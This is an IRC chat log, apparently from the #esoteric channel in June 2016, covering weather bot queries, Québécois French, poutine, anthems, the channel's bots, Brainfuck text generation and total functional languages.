19:46:45 <HackEgo> wisdom/shavention//shaventions include: before/lastfiles, culprits, hog/hogue, le//rn, tmp/, mk/mkx, sled/sedlast, spore/spam/speek/sport/1. Taneb invented them.
20:15:29 -!- dos has joined.
20:25:52 -!- dos has quit (Ping timeout: 252 seconds).
20:29:36 -!- jaboja has joined.
20:34:11 -!- dos has joined.
20:42:22 -!- dos has quit (Ping timeout: 252 seconds).
20:46:23 -!- boily has joined.
20:46:25 <boily> @metar CYUL
20:46:26 <lambdabot> CYUL 251900Z 24009KT 30SM FEW075 BKN250 29/10 A3012 RMK CU1CI6 CU TR SLP202 DENSITY ALT 1500FT
20:48:07 <int-e> parse error. "Density altitude is the altitude relative to the standard atmosphere conditions (ISA) at which the air density would be equal to the indicated air density at the place of observation." - that did not help.
20:48:28 <shachaf> @metar KOAK
20:48:28 <lambdabot> KOAK 251853Z AUTO 27006KT 10SM CLR 23/11 A2996 RMK AO2 SLP145 T02330106
20:48:35 <shachaf> @metar KSJC
20:48:35 <lambdabot> KSJC 251853Z 31004KT 10SM CLR 28/11 A2995 RMK AO2 SLP140 T02780111
20:48:44 <shachaf> hm
20:48:45 <shachaf> @metar KSAN
20:48:45 <lambdabot> KSAN 251851Z 19006KT 10SM SCT019 21/15 A2990 RMK AO2 SLP126 T02060150 $
20:49:06 <shachaf> @metar KSMF
20:49:06 <lambdabot> KSMF 251853Z 34008KT 10SM CLR 31/11 A2991 RMK AO2 SLP128 T03060106
20:50:44 <boily> hellochaf. are you still in KOAK?
20:50:50 <shachaf> Close enough.
20:51:28 <shachaf> @metar KPHX
20:51:28 <lambdabot> KPHX 251851Z 22006KT 10SM FEW120 FEW250 38/09 A2984 RMK AO2 SLP079 T03830089
20:53:01 <int-e> actually the International Standard Atmosphere looks like a great concept
20:54:11 * int-e is imagining a big room of people negotiating what the standard atmosphere should be like... and signing a treaty agreeing to adjust their respective climates accordingly
20:58:06 <boily> it should be blue!
20:58:47 <int-e> especially at night
21:07:46 -!- PinealGlandOptic has quit (Quit: leaving).
21:14:49 <fizzie> @metar EGLL
21:14:49 <lambdabot> EGLL 251950Z AUTO 27008KT 9999 NCD 16/11 Q1017 NOSIG
21:24:24 -!- augur has quit (Remote host closed the connection).
22:02:03 <\oren\> the international sky should be CCCCFF
22:04:30 <Taneb> \oren\, that's a bit pinky for my taste
22:04:38 <Taneb> How about BBDDFF
22:09:30 -!- idris-bot has joined.
22:14:31 -!- augur has joined.
22:32:46 -!- lleu has joined.
22:39:54 -!- gamemanj has quit (Ping timeout: 276 seconds).
22:46:48 -!- lleu has quit (Quit: That's what she said).
22:58:08 -!- lleu has joined.
22:58:37 -!- boily has quit (Quit: MOMENTARY CHICKEN).
23:15:25 -!- jaboja has quit (Read error: Connection reset by peer).
23:24:31 -!- jaboja has joined.
23:30:42 -!- jaboja has quit (Read error: Connection reset by peer).
23:43:41 -!- jaboja has joined.
23:44:26 -!- dos has joined.
23:55:15 -!- jaboja has quit (Read error: Connection reset by peer).
2016-06-26
00:03:08 -!- jaboja has joined.
00:07:46 -!- jaboja has quit (Read error: Connection reset by peer).
00:15:31 -!- dos has quit (Ping timeout: 240 seconds).
00:36:31 -!- earendel2 has joined.
00:39:08 -!- earendel2 has left.
00:39:11 -!- earendel2 has joined.
00:39:55 -!- earendel2 has left.
00:39:58 -!- earendel2 has joined.
00:40:06 -!- earendel2 has quit (Client Quit).
00:51:35 -!- oerjan has joined.
00:58:32 -!- boily has joined.
01:00:09 <oerjan> goily utc midnight
01:00:52 <boily> ahbingadonça.
01:01:30 <boily> terjane õhtust.
01:02:22 <oerjan> AAAAAAAA
01:03:19 <oerjan> oh darn i should have said my guess before googling
01:03:34 <oerjan> (estonian)
01:04:11 <boily> («ahbingadonça» → «ah bien regarde donc ça» → “oh, would you look at that”)
01:04:36 <oerjan> ah. french written in the proper polysynthetic spelling
01:04:48 <boily> *ding*(õ)
01:06:18 <boily> /'äbɛ̃gædɔ̃sɑ/
01:07:08 <boily> meanwhile, trying to learn how to pronounce Korean correctly.
01:07:16 <oerjan> http://www.academia.edu/2000636/Grammaticalization_of_polysynthesis_with_special_reference_to_Spoken_French_
01:07:38 <boily> for the most part, it's quite manageable, but then you trip up on arythmic consonant cluster that fungot you up your way through a word.
01:07:51 <boily> ooooh, shiny!
01:10:34 <oerjan> (it was the first google hit for french polysynthesis)
01:12:49 <oerjan> (of course that's a pretty disputed theory)
01:16:04 <boily> that "article" reads like notes taken during a class.
01:16:58 <boily> I doubt that the argument that French is polysynthetic is valid.
01:17:10 <oerjan> *sad trombone*
01:17:22 <oerjan> maybe just spoken québécois then?
01:18:05 <boily> that may be the case.
01:18:37 <boily> verb groups tend to suffer from the greatest mangulation.
01:19:06 <boily> “he was holding her” → «yatnè»
01:19:27 <boily> (of course, this is extremely colloquial and must be taken with an artery-clogging grain of salt.)
01:20:45 -!- Etaoin has joined.
01:20:53 <Etaoin> hello
01:21:09 <boily> Hetalloin.
01:22:23 <oerjan> Good evetaoining
01:23:25 <Etaoin> oh you're here :D
01:23:31 <Etaoin> I just pm'd you haha
01:23:36 <boily> one example from wikipédia that, with some creativity, supports French polysynthesis: “she opened the door for him again” → «ayarouveraporte»
01:26:27 -!- lambda-11235 has joined.
01:27:23 <quintopia> helloily
01:27:33 <quintopia> how goes the drinking
01:27:59 <boily> tonight is dry.
01:28:44 <quintopia> the whole thing? like...until it's over?
01:29:31 <boily> eh? I'm just not imbibing any alcohol today.
01:29:50 <quintopia> why?
01:31:32 <quintopia> well back to the party
01:31:43 <boily> I may have woke up with a fiery headache...
01:31:50 * boily pokes quintopia in the party bits :D
01:32:35 <Etaoin> anyone know why I can't get drunk? since we're talking about drinking
01:35:56 <shachaf> `wisdom
01:36:26 -!- augur has quit (Remote host closed the connection).
01:36:33 <HackEgo> pidgin//The pidgin hole principle states that if n+1 messages are sent over n protocols, then at least two messages are sent over the same protocol.
01:36:58 <shachaf> `culprits wisdom/pidgin
01:37:21 <HackEgo> int-e int-e int-e int-e
01:37:43 <boily> Etaoin: because you shouldn't aim for that hth
01:37:46 -!- MoALTz has quit (Ping timeout: 272 seconds).
01:38:05 <shachaf> int-e: Why not the usual meaning of "pidgin"?
01:38:17 <Etaoin> I really don't aim for it, just a thing I noticed
01:38:37 <shachaf> `wisdom
01:38:40 <HackEgo> bezout's theorem//Bézout's theorem says that if a system of polynomial equations over the complexes has as many variables as equations, then in the general case the number of solutions it has is equal to the product of one less than the degrees of the polynomials.
01:38:47 <shachaf> `culprits wisdom/beout's theorem
01:38:54 <HackEgo> No output.
01:38:57 <boily> Etaoin: well, drink responsibly and eat lots of poutine to soak up excesses!
01:39:02 <shachaf> `culprits wisdom/bezout's theorem
01:39:14 <HackEgo> b_jonas
01:39:48 <shachaf> b_jonas: What's wisdomy about that?
01:39:55 <shachaf> Classic b_jonas entry.
01:40:05 <boily> the wisdom of a wisdom is its own wisdom.
01:40:18 <boily> Etaoin: have you ever poutined?
01:41:03 <Etaoin> what's that?
01:41:45 <boily> poutine: French fries, cheese curds, poutine gravy.
01:42:11 <shachaf> Are they French fries even in Canada?
01:43:24 <boily> hmm... good question...
01:43:26 <Etaoin> well I have eaten them but what does that have to do with getting smashed
01:43:51 <boily> perfect post-night-out meal. it magically tastes better at 3am.
01:44:14 <shachaf> boily: Is that why the local poutine place closes at 4?
01:44:28 <shachaf> Unfortunately the vegetarian poutine I've had was kind of scow.
01:44:30 <shachaf> scowtine
01:44:48 <oerjan> i'm guessing the québécois will call their language french long after it's mutually unintelligible with the metropolitans
01:45:40 <boily> shachaf: the most well-known place is 24/7.
01:46:00 <boily> our French is Frencher than their French, bon!
01:46:03 <shachaf> The only place I know here is Smoke's poutinerie.
01:46:31 <Etaoin> do you pronounce croissant the french or english way?
01:46:44 <boily> French.
01:46:59 <Etaoin> I want to go to a bakery and overpronounce the shit out of "croissant"
01:47:06 <oerjan> kroasang
01:47:17 <shachaf> `? misspellings of corissant
01:47:19 <shachaf> oops
01:47:20 <HackEgo> misspellings of corissant? ¯\(°​_o)/¯
01:47:22 <shachaf> `? misspellings of corissant
01:47:23 <HackEgo> misspellings of corissant? ¯\(°​_o)/¯
01:47:25 <shachaf> ugh
01:47:33 <shachaf> i'll blame my fingers here
01:47:34 <shachaf> `? misspellings of croissant
01:47:36 <HackEgo> misspellings of crosant? ¯\(°​_o)/¯
01:47:49 <oerjan> shachaf: you're like, ruining the joke tdnh
01:47:54 <Etaoin> are there any english people not in the eu here?
01:47:56 <shachaf> oerjan: i know :'(
01:48:13 <boily> Etaoin: please precise "English".
01:48:21 <Etaoin> from england
01:48:27 <shachaf> Engs?
01:48:29 <\oren\> what would cause hexchat to take >1GB ram?
01:48:32 <oerjan> . o O ( slightly tempted to add a noodly special case for that one now )
01:48:47 <shachaf> \oren\: All programs take >1GB RAM now.
01:48:51 <shachaf> It's just how software is written.
01:48:55 <zzo38> Why you should get drunk? In general is bad idea and my recommendation is to don't get drunk
01:48:59 <boily> Eclipse is the New Emacs.
01:49:02 <shachaf> A single Google+ tab in my browser takes >1GB RAM.
01:49:11 <Etaoin> if your program doesn't take >1gb ram it's either not made in java or it's a toy program
01:49:13 <shachaf> zzo38: Why is it bad idea?
01:49:15 <boily> *gasp* someone uses google+!
01:49:19 <\oren\> cwasaw
01:49:46 * boily mapoles \oren\. "you're Canadian. you should know better! you bring disgrace to our families and ancestors!"
01:49:48 <shachaf> boily: Well, I try not to.
01:49:52 <\oren\> as in, I went to the bakery and got a delicious chocolate cwasaw
01:50:08 <Etaoin> koason
01:50:12 <boily> AAAAAAAAAAAAAAAAAAAAAARGH!
01:50:21 <Etaoin> kyoso
01:50:24 * boily wildly mapoles random miscroissanters
01:50:40 <Etaoin> O Canada! Our home and native land! True patriot love in all thy sons command. With glowing hearts we see thee rise, The True North strong and free! From far and wide, O Canada, we stand on guard for thee. God keep our land glorious and free! O Canada, we stand on guard for thee. O Canada, we stand on guard for thee.
01:50:56 <zzo38> I have read that in French the words are different
01:51:15 <shachaf> zzo38: Some people get drunk because they enjoy it.
01:51:22 <oerjan> <\oren\> what would cause hexchat to take >1GB ram? <-- is it actually used or just virtually allocated? some programs have started allocating massive address space from the start (see: most recent GHC)
01:51:25 <zzo38> (I don't know what they are, but apparently they involve more Christianity and more swords)
01:51:27 <shachaf> zzo38: Why do you want them to deny themselves the pleasure of being drunk?
01:51:34 <boily> Ô Canada! Terre de nos aïeux! Ton front est ceint de fleurons glorieux! ♪
01:51:36 <shachaf> zzo38: Do you speak French?
01:51:58 <zzo38> No I don't speak French, I just read in the news that the French Canadian anthem is different
01:51:58 <shachaf> Anyway the Russian anthem is the best one.
01:52:04 <shachaf> So you might as well scrap the rest.
01:52:07 <oerjan> . o O ( you should get properly drunk _once_, so you know to avoid it. )
01:52:19 <shachaf> zzo38: I thought you were Canadian?
01:52:22 <zzo38> shachaf: It is recommendation not to get drunk, it is not a requirement
01:52:23 <\oren\> ee say portay la kwa
01:52:39 <zzo38> Yes I am Canadian but I am not very good at French.
01:52:55 <Etaoin> I genuinely cannot get drunk tho
01:53:03 <Etaoin> no matter how much I drink
01:53:16 <zzo38> (If I was working in government, I would try to learn French better so that I can know both English and French, but I do not work in the government and do not intend to.)
01:53:17 <Etaoin> I can get alcohol poisoning and die?
01:53:34 <Etaoin> if that counts as getting absolutely smashed
01:53:37 <boily> Etaoin: pretty much so, yes.
01:53:40 <shachaf> zzo38: Do you work outside government?
01:54:02 <zzo38> What do you think?
01:54:16 <shachaf> I thought not, but I didn't know.
01:55:03 <zzo38> I will not write the answer
01:55:13 <Etaoin> you're not worthy of an answer
01:55:43 <oerjan> <shachaf> Anyway the Russian anthem is the best one. <-- i dunno i have a weak spot for the german one too.
01:56:28 <Etaoin> isn't the swedish anthem basically abba?
01:56:31 <Etaoin> or young lean?
01:57:20 <oerjan> Etaoin: no, although the swedish anthem is also nice.
01:57:36 <Etaoin> that's honestly kind of disappointing
01:58:01 <Etaoin> imagine at the start of every football game https://www.youtube.com/watch?v=xFrGuyw1V8s
01:59:02 <oerjan> https://www.youtube.com/watch?v=bJ4rpH4wLMQ that author comment is _so_ swedish (you can imagine what happened in the comments before he closed them)
01:59:39 <Etaoin> zlatan singing "dancing queen only seventeen"
01:59:50 <oerjan> ("Please grasp that I'm not racist, I'm communist"
01:59:52 <oerjan> )
02:00:21 <Etaoin> communism isn't half bad honestly
02:00:28 <Etaoin> people are though
02:00:38 <oerjan> basically, in sweden you cannot upload the national anthem to youtube without being accused of racism
02:00:57 * oerjan is norwegian not swedish btw
02:01:00 <shachaf> I've been reading a few capitalism propaganda books.
02:01:03 <Etaoin> have you seen the picture of the most commonly learned language in europe on duolingo?
02:01:18 <shachaf> Capitalism is TG.
02:01:21 <Etaoin> most are english/german
02:01:24 <shachaf> But it's also a mess.
02:01:28 <Etaoin> in sweden it's swedish
02:01:44 <oerjan> Etaoin: ha
02:02:24 <oerjan> i doubt that even with all the immigrants, swedish would beat english as second language there...
02:02:55 <Etaoin> not sure if it was official or a meme sadly
02:03:00 <oerjan> (assuming that _everyone_ learns english, like in other nordic countries)
02:03:16 <Etaoin> everyone knows english in sweden is the stereotype
02:03:35 <Etaoin> there's a person called Alcest in the chat, you like the band or just the word?
02:03:43 -!- hppavilion[1] has joined.
02:03:56 <Etaoin> is it random or is it the band
02:03:59 <Etaoin> because it's a great band
02:04:31 <hppavilion[1]> "It should work if your browser supports HTML" --Me
02:05:06 <Etaoin> sounds like something you'd say condescendingly to someone being stupid tbh
02:05:33 <hppavilion[1]> Etaoin: I said it to someone whose computer refuses to install Flash (It's a linux box, so it's not like they're just a massive idiot)
02:05:51 <oerjan> i don't think Alcest is physically present now. e doesn't speak much, anyway.
02:06:24 <oerjan> lots of lurkers here.
02:07:20 -!- lleu has quit (Quit: That's what she said).
02:07:45 <Etaoin> you sure flash only uses html? pretty sure a browser/os have to support flash for it to work
02:07:55 <Etaoin> but getting flash to work on linux can get weird
02:08:49 <oerjan> i assume hppavilion[1] meant the page doesn't need flash
02:09:59 <Etaoin> I understood it as saying flash should work if the browser supports HTML
02:10:23 <oerjan> i don't think hppavilion[1] is that cluecless.
02:10:47 <boily> `? hppavilion[1]
02:10:50 <hppavilion[1]> Etaoin: Yeah, no
02:10:50 <HackEgo> hppavilion[1] se describe en las notas al pie. ¿Porqué no los dos? Nadie lo sabe.
02:11:08 <Etaoin> ¯\_(ツ)_/¯
02:11:27 <Etaoin> oh now I get it !
02:11:28 <Etaoin> !!!
02:11:39 <Etaoin> boy I'm slow
02:11:53 <boily> `learn_append hppavilion[1] No es tan cluecless.
02:12:02 <HackEgo> Learned 'hppavilion[1]': hppavilion[1] se describe en las notas al pie. ¿Porqué no los dos? Nadie lo sabe. No es tan cluecless.
02:12:42 <boily> one day, we'll harpoon a South American, keep them in the chännel, grow them, and make them correct the Spanish bits of the Great Wisdom.
02:14:00 <Etaoin> is there a bot that translates a given string into brainfuck code that prints it?
02:14:10 <Etaoin> that'd be.. useful?
02:14:15 <hppavilion[1]> Etaoin: Not a bot IIRC, but there are some sites
02:14:22 <hppavilion[1]> Etaoin: Wait, I think fungot might have a command for that
02:14:22 <fungot> hppavilion[1]: i think it refers to _code_, not of syntax for people that work on every rfc-compliant ircds
02:14:24 <hppavilion[1]> ^help
02:14:24 <fungot> ^<lang> <code>; ^def <command> <lang> <code>; ^show [command]; lang=bf/ul, code=text/str:N; ^str 0-9 get/set/add [text]; ^style [style]; ^bool
02:14:37 <hppavilion[1]> boily: And they'll be able to explain to other south americans that we aren't here to explain canaima
02:14:54 <hppavilion[1]> ^texttobf
02:15:43 <fizzie> The de-facto standard is "bf_textgen" (or various names like that), a genetic programming dealie.
02:15:51 <fizzie> It used to be installed in EgoBot, but of course that is no more.
02:15:55 <fizzie> It might be in the port.
02:15:58 <Etaoin> why not :(
02:16:32 <hppavilion[1]> Why do I always try to derive meaning from fungot? We all know fungot never says anything of meaning; that'd give fnem away
02:16:33 <fungot> hppavilion[1]: you made him sad! :p. ugh i need to install
02:16:45 <hppavilion[1]> Oh, wow, that was scary
02:17:03 <shachaf> fungot is tg
02:17:03 <fungot> shachaf: i was thinking he was framed in frantic too. of course, the even worse thing about the course is to allow fnord to work with cygwin.
02:17:05 <boily> hppavilion[1]: don't encourage fungot hth
02:17:05 <fungot> boily: how can you expect, " freestanding" means that the language only. ah well
02:17:15 <hppavilion[1]> The first statement sounded like Etaoin and the second sounded like the person I'm actively talking to who doesn't have flash
02:17:15 <fizzie> `! bf_textgen walrus
02:17:19 <HackEgo> ​/hackenv/bin/!: 4: exec: ibin/bf_textgen: not found
02:17:27 <fizzie> Er, right, the name was different.
02:17:29 <fizzie> `! bf_txtgen walrus
02:17:38 <shachaf> fungot: "freestanding" means the language only? Very true.
02:17:38 <fungot> shachaf: except for using os x? meaning via mouse? use a keyboard :p.
02:17:45 <shachaf> I agree completely.
02:17:51 <HackEgo> 72 ++++++++++++[>++++++++++>++++++++>+++++++++><<<<-]>-.>+.>.++++++.+++.--. [423]
02:17:59 <fizzie> ^bf ++++++++++++[>++++++++++>++++++++>+++++++++><<<<-]>-.>+.>.++++++.+++.--.
02:17:59 <fungot> walrus
02:18:04 <fizzie> There you go.
02:18:11 <fizzie> Except it wasn't *that* slow when installed in EgoBot.
02:18:28 <Etaoin> OH
02:18:33 <Etaoin> B O O M
02:18:36 <hppavilion[1]> fizzie: Seriously, you didn't give fungot the input as a parameter, did you?
02:18:36 <fungot> hppavilion[1]: a srfi can't specify a violation of privacy.). can someone spoon-feed me the require line above just installed in /.plt-scheme/ planet/
02:18:47 <shachaf> fizzie: why is HackEgo so slow tdnh
02:18:52 <fizzie> It's also far from optimal. As you can maybe tell from "><" already.
02:19:07 -!- augur has joined.
02:19:09 * boily ties fungot and HackEgo together to see what will happen
02:19:09 <fungot> boily: quite the contrary: undefined operations add a little bit.
02:19:12 <hppavilion[1]> fizzie: Why don't we just pipe it through a s/<>// filter?
02:19:23 <boily> oh yeah, interbot undefined operations baby...
02:19:35 <fizzie> hppavilion[1]: Because it would be such a minor win.
02:19:37 <hppavilion[1]> Well, that /could/ mess up when <> is the first occurence of > in the program
02:19:57 <hppavilion[1]> Depending on how the interpreter works- whether it just ignores < at the home position
02:20:00 <fizzie> I thought you meant s/><// actually.
02:20:11 <fizzie> I don't think it's possible for bf_txtgen to generate a <>.
02:20:29 <hppavilion[1]> fizzie: Yes, that too, but I accidentally typed <> first and didn't feel like reaching /all the way/ to my backspace key
02:20:31 <fizzie> It has a very strict format for the program it generates.
02:20:34 <hppavilion[1]> fizzie: But anyway
02:20:38 <Etaoin> is it possible to get fungot to say fungot?
02:20:38 <fungot> Etaoin: yes. it parses it into an interpreter session and type ( load " foo.scm") doesn't seem to be baffled by curly braces in the bnf, but it
02:20:40 <hppavilion[1]> You're playing a dangerous game, fizzie
02:20:48 <hppavilion[1]> Etaoin: Yes
02:20:59 <Etaoin> does it start talking to itself?
02:21:01 <hppavilion[1]> Etaoin: But it won't respond, because the IRC server doesn't send you your own messages
02:21:06 <Etaoin> aw
02:21:17 <hppavilion[1]> Etaoin: The only reason they appear in your client is because the client adds them for convenience
02:21:23 <Etaoin> what about adding another bot that'll try to talk to it every few hours
02:21:33 <hppavilion[1]> `? botlop
02:21:35 <HackEgo> botlops are the core of botsentiences. Sapience is scheduled for the next release.
02:21:48 <Etaoin> yeah I know how it works I've made chat clients ^_^
02:21:50 <hppavilion[1]> Etaoin: It's been done
02:22:03 <hppavilion[1]> Etaoin: But please, feel free to try to make one- it's tradition
02:22:09 <Etaoin> of course it has :D I just wanna see these in action
02:22:36 <fizzie> There's some amount of botloop avoidance logic in many bots.
02:22:40 <hppavilion[1]> Etaoin: Note: Botlopping doesn't count if you make the bot (unless you already made it and want to see if there's a part that lets you botlop)
02:23:05 <fizzie> HackEgo adds some invisible Unicode if the message starts with [^a-z] (approximately), and fungot has a built-in ignore list of nicks it ignores completely.
02:23:05 <fungot> fizzie: all those dotted lines are hard on my eyes... so, it's not a
02:23:08 <fizzie> ^ignore
02:23:08 <fungot> ^(EgoBot|HackEgo|toBogE|Sparkbot|optbot|lambdabot|oonbotti|metasepia|ruddy|preflex|evalj|idris-bot|passwordBOT|jconn|applybot|blsqbot|fnordbot|termbot)!
02:23:46 <Etaoin> why are these built in though?
02:23:46 <hppavilion[1]> ^add-ignore DonaldTrump
02:23:59 <hppavilion[1]> Etaoin: So it doesn't botlop
02:24:15 <Etaoin> how is botlopping a bad thing :(
02:24:18 <hppavilion[1]> Etaoin: And it'd be hard to add a feature to make it so you can add an ignore
02:24:30 <hppavilion[1]> Etaoin: It's fun for exactly 3 revolutions, then it gets annoyying
02:24:42 <hppavilion[1]> Etaoin: Remember, fungot is literally written in Befunge-98
02:24:42 <fungot> hppavilion[1]: that is ( to humans) obviously not very useful unless you know what one i stopped at then
02:24:45 <Etaoin> I suppose that's a fair point
02:25:32 <hppavilion[1]> (that's not even a piece of #esoteric jokelore; fungot is actually written in Befunge-98, and the code is public)
02:25:33 <fungot> hppavilion[1]: mer espoo/ olari visitation now; away. the impossible takes a little time to understand it, so
02:25:44 <Etaoin> I trust you dw :D
02:26:03 <Etaoin> how are they implemented though? I mean where do they run?
02:26:07 <hppavilion[1]> https://github.com/fis/fungot
02:26:07 <fungot> hppavilion[1]: what happens if you invoke a full continuation, because it has none. :p)
02:26:31 <hppavilion[1]> Huh, the last commit to fungot's repo was made in 2013
02:26:31 <fungot> hppavilion[1]: it is a case of weird dos font? that's even worse
02:26:52 <hppavilion[1]> Etaoin: I assume on a server somewhere in Canada
02:26:54 <Etaoin> do you purposefully keep saying fungot just to invoke fungot
02:26:55 <fungot> Etaoin: the specs asked for meters or centimeters wide use.... make an interpreter for
02:27:04 <fizzie> I haven't been doing much fungot development lately.
02:27:05 <fungot> fizzie: ok. i'll stick to the standard ( which it does the same? ( roughly that amount of bits
02:27:07 <hppavilion[1]> Etaoin: No, I don't purposely say fungot
02:27:07 <fungot> hppavilion[1]: isn't you also oklopol? i dont see what the optimization does to the code during execution
02:27:14 <hppavilion[1]> Why would I want to invoke fungot?
02:27:15 <fungot> hppavilion[1]: a few crappy ones use boehm's gc. it's as good as newlisp. any number of strings can be ordered by internet. that's so, eh, cheap enough
02:27:19 <hppavilion[1]> Fungot is fun for a bit
02:27:23 <Etaoin> I don't fungotting know
02:27:24 <fungot> Etaoin: that too. :) in fact, to me
02:27:24 <hppavilion[1]> But then fungot just gets annoying
02:27:24 <fungot> hppavilion[1]: think " c preprocessor on steroids" for me in c and use http://www.toreun.org/ eso.zip is the latest ' unofficial' release, from november of last year)
02:28:00 <hppavilion[1]> OK, wow, that was an interesting response
02:28:56 <hppavilion[1]> The Funge who must Not be Named, when fnis creator said e hadn't been doing much development on fnim, told em (the creator) that fne would just stick to the standard- the code for the bot
02:29:26 <fizzie> As for where it runs physically, in a cfunge interpreter on a box about one and a half metres left of my feet.
02:29:30 -!- boily has quit (Quit: SENSORY CHICKEN).
02:29:38 <Etaoin> but it does actually have to run on a server?
02:29:50 <Etaoin> it's not possible to have it float in the ether somewhere
02:30:17 <fizzie> Unfortunately, freenode doesn't yet support free-floating blobs of Befunge for some reason.
02:30:41 <hppavilion[1]> Is there a programming language that uses X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* as a program? One where all programs necessarily look like viruses but aren't?
02:30:50 <hppavilion[1]> (well, except those that are)
02:31:14 <hppavilion[1]> Or, well, maybe it doesn't need the EICAR as a program, but it still has to always look like a virus
02:31:16 <fizzie> (HackEgo runs on the same machine as the esolangs.org wiki.)
02:31:27 <Etaoin> oh on a more serious note, is it possible to design a language in which it's syntactically incorrect to write a non halting program?
02:31:29 <hppavilion[1]> fizzie: And the forum on the same domain
02:31:40 <fizzie> That doesn't really "run".
02:31:43 <hppavilion[1]> Etaoin: Yes, that's actually a class of language
02:31:54 <Etaoin> I'd love to see that!
02:31:56 <hppavilion[1]> Etaoin: Total Functional Programming, where you can only write halting programs
02:32:05 <hppavilion[1]> Etaoin: It's actually a field that I think is gaining some traction
02:32:26 <hppavilion[1]> TFP or the better variant where you can write non-halting programs, but only when it's provable that they're non-halting
02:32:45 <Etaoin> I'd prefer the former variant honestly
02:32:59 <hppavilion[1]> @messages-screamed
02:32:59 <lambdabot> Unknown command, try @list
02:33:04 <hppavilion[1]> @messages-proud
02:33:05 <lambdabot> oerjan said 1d 3h 16m 5s ago: <hppavilion[1]> In a 4D universe, would we have 2D roads? <-- if you consider 4d to include relativistic spacetime, we already do hth
02:33:05 <lambdabot> oerjan said 1d 1h 24m 12s ago: grep has a -r option hth
02:33:17 <hppavilion[1]> oerjan: DAMN YOU!
02:33:33 <hppavilion[1]> DAMN YOU AND YOUR PROPER TECHNICALITIES OF SCIENCE!
02:33:40 <hppavilion[1]> </damning>
02:34:26 <Etaoin> aren't roads 2d by default?
02:34:45 <oerjan> *-c dammit
02:34:47 <hppavilion[1]> Etaoin: ...yes, but not "really" 2D
02:35:05 <hppavilion[1]> They're 2D the same way paper is 3D, basically
02:36:21 <Etaoin> as an objection to oerjan's response, wouldn't string theory require the universe to be >12D?
02:37:38 <Etaoin> haskell isn't total functional? right?
02:38:57 <Etaoin> wouldn't f _ = f 3 non halting?
02:40:51 <fizzie> f = f equally much.
02:41:02 <fizzie> > let f = f in f
02:41:06 <lambdabot> mueval-core: Time limit exceeded
02:44:09 <Etaoin> can someone give me an example of a total functional language?
02:45:56 <fizzie> BlooP.
02:47:16 <Etaoin> can the busy beaver be implemented in these languages?
02:49:27 <fizzie> (Well, maybe BlooP isn't. I'm not entirely sure what the exact definition for "total functional" is. But it's the canonical example language that only allows programs that halt.)
02:49:58 <oerjan> <hppavilion[1]> oerjan: DAMN YOU! <-- please don't damn people it disturbs ais523 hth
02:50:44 <oerjan> Etaoin: System F hth
02:51:13 <hppavilion[1]> Etaoin: It isn't
02:51:33 <shachaf> oerjan: It does?
02:51:44 <Etaoin> I'm def gonna have a ton of these silly questions in the future
02:51:45 <hppavilion[1]> Etaoin: Almost certainly, but not really
02:51:54 <oerjan> Etaoin: these languages aren't even turing-complete, because then you'd have solved the halting problem.
02:52:00 <oerjan> shachaf: yep
02:52:07 <Etaoin> I know they aren't turing complete
02:52:08 <shachaf> oerjan: does it disturb you
02:52:15 <oerjan> shachaf: slightly.
02:52:19 <hppavilion[1]> Etaoin: You can't *really* implement busy beaver in these because, by their nature, you can always make a longer-running program
02:52:31 <hppavilion[1]> Etaoin: And thus you can always make a program that leaves more cells on 1
02:52:43 <Etaoin> but wouldn't it be impossible to implement the variations that don't halt?
02:53:08 <Etaoin> basically anything we don't know if it halts could be tested in such a language, right?
02:53:13 <hppavilion[1]> Etaoin: Yes?
02:53:38 <hppavilion[1]> Etaoin: No, you can't put anything in that language to see if it halts
02:53:51 <Etaoin> why not? sorry if it's a stupid question
02:53:59 <hppavilion[1]> Etaoin: Because even things we do know don't halt won't halt in this language- or, more accurately, aren't implementable
02:54:12 <hppavilion[1]> s/won't/will/
02:54:44 <hppavilion[1]> Etaoin: In a language where all programs must halt, how would you implement a truth machine?
02:55:08 <hppavilion[1]> Since you can't, you can't plug in a program to see if it will halt
02:55:13 <Etaoin> well that's my point, if it isn't implementable then it definitely doesn't halt
02:55:27 <hppavilion[1]> Though, I suppose you could argue this forms a valid strategy- oh, that's what I was about to say
02:55:28 <oerjan> Etaoin: any total language must leave some halting problems unimplementable, because otherwise you could again solve the halting problem by trying to convert to it.
02:55:40 <Etaoin> basically something that would be like "Syntax error at line 34: would make the algorithm non halting"
02:55:45 <oerjan> *halting programs
02:55:46 <hppavilion[1]> Etaoin: Well, what about programs that do halt but aren't implementable?
02:55:56 <Etaoin> are there such?
02:56:00 <hppavilion[1]> Etaoin: That would just be a solution to the halting problem
02:56:21 <hppavilion[1]> Etaoin: These languages don't syntactically prohibit non-halting, they just are impossible to make non-halting
02:56:52 <Etaoin> I was asking for the former in the beginning, I suppose that's a nonsensical question now that I think about it
02:57:01 <hppavilion[1]> Ah, yes
02:57:21 <hppavilion[1]> Etaoin: In theory you could kind of make something like that? But it wouldn't really be useful
02:57:38 <Etaoin> yeah the compiler would basically have to solve the halting problem on any program, right?
03:01:31 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
03:02:47 -!- hppavilion[1] has joined.
03:07:06 <quintopia> Etaoin: getting drunk is great and the reason you cant get drunk is you didnt drink enough booze. some people just metabolize it far faster
03:07:40 <Etaoin> I don't know man I can chug a lot of it without any effect but I will conduct and experiment soon!
03:09:03 <quintopia> zzo38: the reason yo get drunk is ... all the best beverages are alcohiolic, and once youve had one, why stop?
03:09:21 -!- bender__ has joined.
03:09:48 <quintopia> Etaoin: what did you drink? shots? beer?
03:10:45 <Etaoin> tequila
03:10:46 <Etaoin> vodka
03:10:52 <Etaoin> stuff like that
03:11:00 <Etaoin> I do enjoy cider though
03:11:13 <Etaoin> but those are the ones I'd try to drink to get drunk
03:11:35 <Etaoin> oh and gin
03:12:33 <quintopia> hmm. do you like ale or wine?
03:12:57 <Etaoin> I'm allergic to wine so have a guess ^^
03:13:48 -!- bender__ has quit (Ping timeout: 250 seconds).
03:24:50 <quintopia> oh thats too bad
03:25:00 <quintopia> gnight
03:26:21 <Etaoin> https://www.gnu.org/fun/jokes/c+-.html
03:26:25 <Etaoin> just found out about this
03:30:49 <oerjan> `file quines/c
03:30:52 <HackEgo> quines/c: C source, ASCII text
03:31:18 <oerjan> `` gcc -x c quines/c
03:31:38 <HackEgo> No output.
03:31:48 <oerjan> `` ./a.out
